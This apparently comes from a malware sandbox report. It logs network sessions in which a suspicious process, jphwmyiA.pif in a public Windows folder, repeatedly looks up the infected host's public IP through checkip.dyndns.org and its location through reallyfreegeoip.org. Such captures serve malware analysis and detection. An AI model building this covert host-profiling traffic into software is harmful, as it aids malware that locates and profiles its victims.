13	192.168.2.5	53671	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:29.069691896 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:29.843044043 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:29 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	53681	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:30.174958944 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:30.936165094 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:30 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:30.941059113 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:31.189481020 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:31.399454117 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 6, 2025 07:54:32.567589998 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:32.820883989 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	53683	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:30.441075087 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:31.215025902 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:31 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	53694	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:31.846843958 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:32.604804039 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:32 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	53709	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:33.209072113 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:33.990097046 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:33 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	53711	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:33.447262049 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:34.212887049 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	53723	132.226.8.169	80	7820	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:34.648036003 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:35.397993088 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	53724	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:34.891937017 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:35.639106989 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:35 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	53738	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:36.253647089 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 6, 2025 07:54:37.041984081 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:36 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	53750	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:37.730009079 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:38.493609905 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:38 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	53759	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:39.123497963 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:39.896935940 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:39 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	53771	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:40.676455975 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:41.468208075 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	53782	132.226.8.169	80	8016	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 07:54:42.075858116 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 6, 2025 07:54:42.849483967 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:42 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49726	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:13 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:13 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:13 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461242 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dmynYXe6JJFBXXyVd%2B0bIAc555EDHrbQs4sN5Eg9J30ifWOFAfhjTeXp2sQKzWGyp%2B2XWAucdnMIPi9jFMr9cVpvVArAL%2BSvhu2Tgoucvl%2FD2DeeH2VVwOFUxyE1X61cvaWlDY2H"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cba6be1741f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1773&rtt_var=666&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1646926&cwnd=216&unsent_bytes=0&cid=d88330b70a4594c3&ts=238&x=0"
2025-01-06 06:54:13 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49730	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:14 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:14 UTC	865	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:14 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461243 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p0ZiXX9DQScieFXQb8%2FMMuXps1Yp7u1HtcRg7slyIdM87MV54vyaoIkTX%2B4xrq3k%2BG0clmNBC%2FvufiU16p6roTpqNTg%2BxnKhOn54%2FJ99%2F2U1lfIvAnn%2FnOzVRpdZ5HI57oFhWkv7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbaccd737d0c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2048&min_rtt=2043&rtt_var=777&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1399808&cwnd=156&unsent_bytes=0&cid=8d6d838247aeaae1&ts=148&x=0"
2025-01-06 06:54:14 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49733	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:15 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-06 06:54:15 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:15 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461245 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VWTPUraCzA5Pv4bQ0BGIt5nUQgEB98S21Utvd%2F1qFVOznBte9C6dlBmZEx55tpjSJWSzxn%2BeCbtKouD2wUR4KgMFrwAmDlcZyYrbcFUAvdJRPQ2e7WtiV0qewMylTriPLyrgH%2FEQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbb579d04339-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1575&min_rtt=1571&rtt_var=598&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1815920&cwnd=227&unsent_bytes=0&cid=2f4bf27cba799234&ts=153&x=0"
2025-01-06 06:54:15 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	53582	188.114.97.3	443	7208	C:\Users\Public\Libraries\jphwmyiA.pif

Timestamp	Bytes transferred	Direction	Data
2025-01-06 06:54:17 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-06 06:54:17 UTC	850	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 06:54:17 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1461246 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aoNwveNeeb2eUb8XDhblTmBZG5SaHdMJ92myKeNo7HxuKki9Sm3KDJ9t%2BzrxeqXuqnAAhXz2g30nt6NhvqYTTgteC4kt5ComcpvttfDS2zmVzqZ9EsaV8UcUKeXNZxX480l7mwW1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fd9cbbe9da40f43-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1640&min_rtt=1636&rtt_var=621&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1750599&cwnd=32&unsent_bytes=0&cid=e1f4ebd3dea185aa&ts=155&x=0"
